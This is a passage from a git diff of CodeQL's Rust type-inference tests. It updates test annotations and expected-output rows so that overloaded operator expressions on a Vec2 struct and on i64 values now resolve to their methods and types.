type=vec2_le:bool method=Vec2::le - let vec2_gt = v1 > v2; // $ MISSING: type=vec2_gt:bool method=Vec2::gt - let vec2_ge = v1 >= v2; // $ MISSING: type=vec2_ge:bool method=Vec2::ge + let vec2_eq = v1 == v2; // $ type=vec2_eq:bool method=Vec2::eq + let vec2_ne = v1 != v2; // $ type=vec2_ne:bool method=Vec2::ne + let vec2_lt = v1 < v2; // $ type=vec2_lt:bool method=Vec2::lt + let vec2_le = v1 <= v2; // $ type=vec2_le:bool method=Vec2::le + let vec2_gt = v1 > v2; // $ type=vec2_gt:bool method=Vec2::gt + let vec2_ge = v1 >= v2; // $ type=vec2_ge:bool method=Vec2::ge // Arithmetic operators - let vec2_add = v1 + v2; // $ MISSING: type=vec2_add:Vec2 method=Vec2::add - let vec2_sub = v1 - v2; // $ MISSING: type=vec2_sub:Vec2 method=Vec2::sub - let vec2_mul = v1 * v2; // $ MISSING: type=vec2_mul:Vec2 method=Vec2::mul - let vec2_div = v1 / v2; // $ MISSING: type=vec2_div:Vec2 method=Vec2::div - let vec2_rem = v1 % v2; // $ MISSING: type=vec2_rem:Vec2 method=Vec2::rem + let vec2_add = v1 + v2; // $ type=vec2_add:Vec2 method=Vec2::add + let vec2_sub = v1 - v2; // $ type=vec2_sub:Vec2 method=Vec2::sub + let vec2_mul = v1 * v2; // $ type=vec2_mul:Vec2 method=Vec2::mul + let vec2_div = v1 / v2; // $ type=vec2_div:Vec2 method=Vec2::div + let vec2_rem = v1 % v2; // $ type=vec2_rem:Vec2 method=Vec2::rem // Arithmetic assignment operators let mut vec2_add_assign = v1; - vec2_add_assign += v2; // $ MISSING: method=Vec2::add_assign + vec2_add_assign += v2; // $ method=Vec2::add_assign let mut vec2_sub_assign = v1; - vec2_sub_assign -= v2; // $ MISSING: method=Vec2::sub_assign + vec2_sub_assign -= v2; // $ method=Vec2::sub_assign let mut vec2_mul_assign = v1; - vec2_mul_assign *= v2; // $ MISSING: method=Vec2::mul_assign + vec2_mul_assign *= v2; // $ method=Vec2::mul_assign let mut vec2_div_assign = v1; - vec2_div_assign /= v2; // $ MISSING: method=Vec2::div_assign + vec2_div_assign /= v2; // $ method=Vec2::div_assign let mut vec2_rem_assign = v1; - vec2_rem_assign %= v2; // $ MISSING: method=Vec2::rem_assign + vec2_rem_assign %= v2; // $ method=Vec2::rem_assign // Bitwise operators - let vec2_bitand = v1 & v2; // $ MISSING: type=vec2_bitand:Vec2 method=Vec2::bitand - let vec2_bitor = v1 | v2; // $ MISSING: type=vec2_bitor:Vec2 method=Vec2::bitor - let vec2_bitxor = v1 ^ v2; // $ MISSING: type=vec2_bitxor:Vec2 method=Vec2::bitxor - let vec2_shl = v1 << 1u32; // $ MISSING: type=vec2_shl:Vec2 method=Vec2::shl - let vec2_shr = v1 >> 1u32; // $ MISSING: type=vec2_shr:Vec2 method=Vec2::shr + let vec2_bitand = v1 & v2; // $ type=vec2_bitand:Vec2 method=Vec2::bitand + let vec2_bitor = v1 | v2; // $ type=vec2_bitor:Vec2 method=Vec2::bitor + let vec2_bitxor = v1 ^ v2; // $ type=vec2_bitxor:Vec2 method=Vec2::bitxor + let vec2_shl = v1 << 1u32; // $ type=vec2_shl:Vec2 method=Vec2::shl + let vec2_shr = v1 >> 1u32; // $ type=vec2_shr:Vec2 method=Vec2::shr // Bitwise assignment operators let mut vec2_bitand_assign = v1; - vec2_bitand_assign &= v2; // $ MISSING: method=Vec2::bitand_assign + vec2_bitand_assign &= v2; // $ method=Vec2::bitand_assign let mut vec2_bitor_assign = v1; - vec2_bitor_assign |= v2; // $ MISSING: method=Vec2::bitor_assign + vec2_bitor_assign |= v2; // $ method=Vec2::bitor_assign let mut vec2_bitxor_assign = v1; - vec2_bitxor_assign ^= v2; // $ MISSING: method=Vec2::bitxor_assign + vec2_bitxor_assign ^= v2; // $ method=Vec2::bitxor_assign let mut vec2_shl_assign = v1; - vec2_shl_assign <<= 1u32; // $ MISSING: method=Vec2::shl_assign + vec2_shl_assign <<= 1u32; // $ method=Vec2::shl_assign let mut vec2_shr_assign = v1; - vec2_shr_assign >>= 1u32; // $ MISSING: method=Vec2::shr_assign + vec2_shr_assign >>= 1u32; // $ method=Vec2::shr_assign // Prefix operators - let vec2_neg = -v1; // $ MISSING: type=vec2_neg:Vec2 method=Vec2::neg - let vec2_not = !v1; // $ MISSING: type=vec2_not:Vec2 method=Vec2::not + let vec2_neg = -v1; // $ type=vec2_neg:Vec2 method=Vec2::neg + let vec2_not = !v1; // $ type=vec2_not:Vec2 method=Vec2::not } } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 3778b10b2c4c..8e04a0c07524 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -837,6 +837,7 @@ inferType | main.rs:772:9:778:9 | { ... } | | main.rs:767:20:767:22 | Tr2 | | main.rs:773:13:777:13 | if ... {...} else {...} | | main.rs:767:20:767:22 | Tr2 | | main.rs:773:16:773:16 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:773:16:773:20 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:773:20:773:20 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:773:22:775:13 | { ... } | | main.rs:767:20:767:22 | Tr2 | | main.rs:774:17:774:20 | self | | main.rs:767:5:779:5 | Self [trait MyTrait2] | @@ -848,6 +849,7 @@ inferType | main.rs:786:9:792:9 | { ... } | | main.rs:781:20:781:22 | Tr3 | | main.rs:787:13:791:13 | if ... {...} else {...} | | main.rs:781:20:781:22 | Tr3 | | main.rs:787:16:787:16 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:787:16:787:20 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:787:20:787:20 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:787:22:789:13 | { ... } | | main.rs:781:20:781:22 | Tr3 | | main.rs:788:17:788:20 | self | | main.rs:781:5:793:5 | Self [trait MyTrait3] | @@ -1191,6 +1193,7 @@ inferType | main.rs:1030:23:1034:9 | if ... {...} else {...} | | main.rs:969:5:973:5 | MyOption | | main.rs:1030:23:1034:9 | if ... {...} else {...} | T | main.rs:1004:5:1005:13 | S | | main.rs:1030:26:1030:26 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1030:26:1030:30 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1030:30:1030:30 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:1030:32:1032:9 | { ... } | | main.rs:969:5:973:5 | MyOption | | main.rs:1030:32:1032:9 | { ... } | T | main.rs:1004:5:1005:13 | S | @@ -1209,6 +1212,7 @@ inferType | main.rs:1038:26:1041:9 | match ... { ... } | | main.rs:969:5:973:5 | MyOption | | main.rs:1038:26:1041:9 | match ... { ... } | T | main.rs:1004:5:1005:13 | S | | main.rs:1038:32:1038:32 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1038:32:1038:36 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1038:36:1038:36 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:1039:13:1039:16 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1039:21:1039:38 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | @@ -1225,6 +1229,7 @@ inferType | main.rs:1045:25:1050:9 | loop { ... } | | main.rs:969:5:973:5 | MyOption | | main.rs:1045:25:1050:9 | loop { ... } | T | main.rs:1004:5:1005:13 | S | | main.rs:1046:16:1046:16 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1046:16:1046:20 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1046:20:1046:20 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:1047:23:1047:40 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1047:23:1047:40 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | @@ -1578,7 +1583,9 @@ inferType | main.rs:1246:22:1246:22 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:1247:13:1247:13 | y | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:1247:17:1247:17 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1248:13:1248:13 | z | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:1248:17:1248:17 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1248:17:1248:21 | ... + ... | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:1248:21:1248:21 | y | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:1249:13:1249:13 | z | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:1249:17:1249:17 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | @@ -1602,8 +1609,11 @@ inferType | main.rs:1262:17:1262:29 | ... \|\| ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1262:25:1262:29 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1264:13:1264:17 | mut a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1265:13:1265:16 | cond | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1265:20:1265:21 | 34 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1265:20:1265:27 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1265:26:1265:27 | 33 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1266:12:1266:15 | cond | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1267:17:1267:17 | z | | file://:0:0:0:0 | () | | main.rs:1267:21:1267:27 | (...) | | file://:0:0:0:0 | () | | main.rs:1267:22:1267:22 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | @@ -1959,18 +1969,23 @@ inferType | main.rs:1489:31:1489:35 | other | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1489:75:1491:9 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:565:1:581:1 | Option | | main.rs:1489:75:1491:9 | { ... } | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/cmp.rs:367:1:397:1 | Ordering | +| main.rs:1490:13:1490:29 | (...) | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1490:13:1490:63 | ... .partial_cmp(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:565:1:581:1 | Option | | main.rs:1490:13:1490:63 | ... .partial_cmp(...) | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/cmp.rs:367:1:397:1 | Ordering | | main.rs:1490:14:1490:17 | self | | file://:0:0:0:0 | & | | main.rs:1490:14:1490:17 | self | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1490:14:1490:19 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1490:14:1490:28 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1490:23:1490:26 | self | | file://:0:0:0:0 | & | | main.rs:1490:23:1490:26 | self | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1490:23:1490:28 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1490:43:1490:62 | &... | | file://:0:0:0:0 | & | +| main.rs:1490:43:1490:62 | &... | &T | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1490:44:1490:62 | (...) | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1490:45:1490:49 | other | | file://:0:0:0:0 | & | | main.rs:1490:45:1490:49 | other | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1490:45:1490:51 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1490:45:1490:61 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1490:55:1490:59 | other | | file://:0:0:0:0 | & | | main.rs:1490:55:1490:59 | other | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1490:55:1490:61 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | @@ -2054,27 +2069,55 @@ inferType | main.rs:1506:44:1506:48 | other | | file://:0:0:0:0 | & | | main.rs:1506:44:1506:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1506:44:1506:50 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1513:13:1513:18 | i64_eq | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1513:22:1513:35 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1513:23:1513:26 | 1i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1513:23:1513:34 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1513:31:1513:34 | 2i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1514:13:1514:18 | i64_ne | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1514:22:1514:35 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1514:23:1514:26 | 3i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1514:23:1514:34 | ... != ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1514:31:1514:34 | 4i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1515:13:1515:18 | i64_lt | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1515:22:1515:34 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1515:23:1515:26 | 5i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1515:23:1515:33 | ... < ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1515:30:1515:33 | 6i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1516:13:1516:18 | i64_le | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1516:22:1516:35 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1516:23:1516:26 | 7i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1516:23:1516:34 | ... <= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1516:31:1516:34 | 8i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1517:13:1517:18 | i64_gt | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1517:22:1517:35 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1517:23:1517:26 | 9i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1517:23:1517:34 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1517:30:1517:34 | 10i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1518:13:1518:18 | i64_ge | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1518:22:1518:37 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1518:23:1518:27 | 11i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1518:23:1518:36 | ... >= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1518:32:1518:36 | 12i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1521:13:1521:19 | i64_add | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1521:23:1521:27 | 13i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1521:23:1521:35 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1521:31:1521:35 | 14i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1522:13:1522:19 | i64_sub | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1522:23:1522:27 | 15i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1522:23:1522:35 | ... - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1522:31:1522:35 | 16i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1523:13:1523:19 | i64_mul | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1523:23:1523:27 | 17i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1523:23:1523:35 | ... * ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1523:31:1523:35 | 18i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1524:13:1524:19 | i64_div | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1524:23:1524:27 | 19i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1524:23:1524:35 | ... / ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1524:31:1524:35 | 20i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1525:13:1525:19 | i64_rem | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1525:23:1525:27 | 21i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1525:23:1525:35 | ... % ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1525:31:1525:35 | 22i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1528:13:1528:30 | mut i64_add_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1528:34:1528:38 | 23i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | @@ -2101,15 +2144,25 @@ inferType | main.rs:1541:9:1541:22 | i64_rem_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1541:9:1541:31 | ... %= ... | | file://:0:0:0:0 | () | | main.rs:1541:27:1541:31 | 32i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1544:13:1544:22 | i64_bitand | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1544:26:1544:30 | 33i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1544:26:1544:38 | ... & ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1544:34:1544:38 | 34i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1545:13:1545:21 | i64_bitor | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1545:25:1545:29 | 35i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1545:25:1545:37 | ... \| ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1545:33:1545:37 | 36i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1546:13:1546:22 | i64_bitxor | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1546:26:1546:30 | 37i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1546:26:1546:38 | ... ^ ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1546:34:1546:38 | 38i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1547:13:1547:19 | i64_shl | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1547:23:1547:27 | 39i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1547:23:1547:36 | ... << ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1547:32:1547:36 | 40i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1548:13:1548:19 | i64_shr | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1548:23:1548:27 | 41i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1548:23:1548:36 | ... >> ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1548:32:1548:36 | 42i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1551:13:1551:33 | mut i64_bitand_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1551:37:1551:41 | 43i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | @@ -2136,7 +2189,11 @@ inferType | main.rs:1564:9:1564:22 | i64_shr_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1564:9:1564:32 | ... >>= ... | | file://:0:0:0:0 | () | | main.rs:1564:28:1564:32 | 52i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1566:13:1566:19 | i64_neg | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1566:23:1566:28 | - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1566:24:1566:28 | 53i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1567:13:1567:19 | i64_not | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1567:23:1567:28 | ! ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1567:24:1567:28 | 54i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1570:13:1570:14 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1570:18:1570:36 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | @@ -2144,84 +2201,164 @@ inferType | main.rs:1570:28:1570:28 | 1 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1570:34:1570:34 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:1570:34:1570:34 | 2 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1571:13:1571:14 | v2 | | file://:0:0:0:0 | & | | main.rs:1571:13:1571:14 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1571:13:1571:14 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1571:18:1571:36 | Vec2 {...} | | file://:0:0:0:0 | & | | main.rs:1571:18:1571:36 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1571:18:1571:36 | Vec2 {...} | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1571:28:1571:28 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:1571:28:1571:28 | 3 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | | main.rs:1571:34:1571:34 | 4 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:1571:34:1571:34 | 4 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1574:13:1574:19 | vec2_eq | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1574:23:1574:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1574:23:1574:30 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1574:29:1574:30 | v2 | | file://:0:0:0:0 | & | | main.rs:1574:29:1574:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1574:29:1574:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1575:13:1575:19 | vec2_ne | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1575:23:1575:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1575:23:1575:30 | ... != ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1575:29:1575:30 | v2 | | file://:0:0:0:0 | & | | main.rs:1575:29:1575:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1575:29:1575:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1576:13:1576:19 | vec2_lt | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1576:23:1576:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1576:23:1576:29 | ... < ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1576:28:1576:29 | v2 | | file://:0:0:0:0 | & | | main.rs:1576:28:1576:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1576:28:1576:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1577:13:1577:19 | vec2_le | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1577:23:1577:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1577:23:1577:30 | ... <= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1577:29:1577:30 | v2 | | file://:0:0:0:0 | & | | main.rs:1577:29:1577:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1577:29:1577:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1578:13:1578:19 | vec2_gt | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1578:23:1578:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1578:23:1578:29 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1578:28:1578:29 | v2 | | file://:0:0:0:0 | & | | main.rs:1578:28:1578:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1578:28:1578:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1579:13:1579:19 | vec2_ge | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1579:23:1579:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1579:23:1579:30 | ... >= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1579:29:1579:30 | v2 | | file://:0:0:0:0 | & | | main.rs:1579:29:1579:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1579:29:1579:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1582:13:1582:20 | vec2_add | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1582:24:1582:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1582:24:1582:30 | ... + ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1582:29:1582:30 | v2 | | file://:0:0:0:0 | & | | main.rs:1582:29:1582:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1582:29:1582:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1583:13:1583:20 | vec2_sub | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1583:24:1583:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1583:24:1583:30 | ... - ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1583:29:1583:30 | v2 | | file://:0:0:0:0 | & | | main.rs:1583:29:1583:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1583:29:1583:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1584:13:1584:20 | vec2_mul | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1584:24:1584:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1584:24:1584:30 | ... * ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1584:29:1584:30 | v2 | | file://:0:0:0:0 | & | | main.rs:1584:29:1584:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1584:29:1584:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1585:13:1585:20 | vec2_div | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1585:24:1585:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1585:24:1585:30 | ... / ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1585:29:1585:30 | v2 | | file://:0:0:0:0 | & | | main.rs:1585:29:1585:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1585:29:1585:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1586:13:1586:20 | vec2_rem | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1586:24:1586:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1586:24:1586:30 | ... % ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1586:29:1586:30 | v2 | | file://:0:0:0:0 | & | | main.rs:1586:29:1586:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1586:29:1586:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1589:13:1589:31 | mut vec2_add_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1589:35:1589:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1590:9:1590:23 | vec2_add_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1590:9:1590:29 | ... += ... | | file://:0:0:0:0 | () | +| main.rs:1590:28:1590:29 | v2 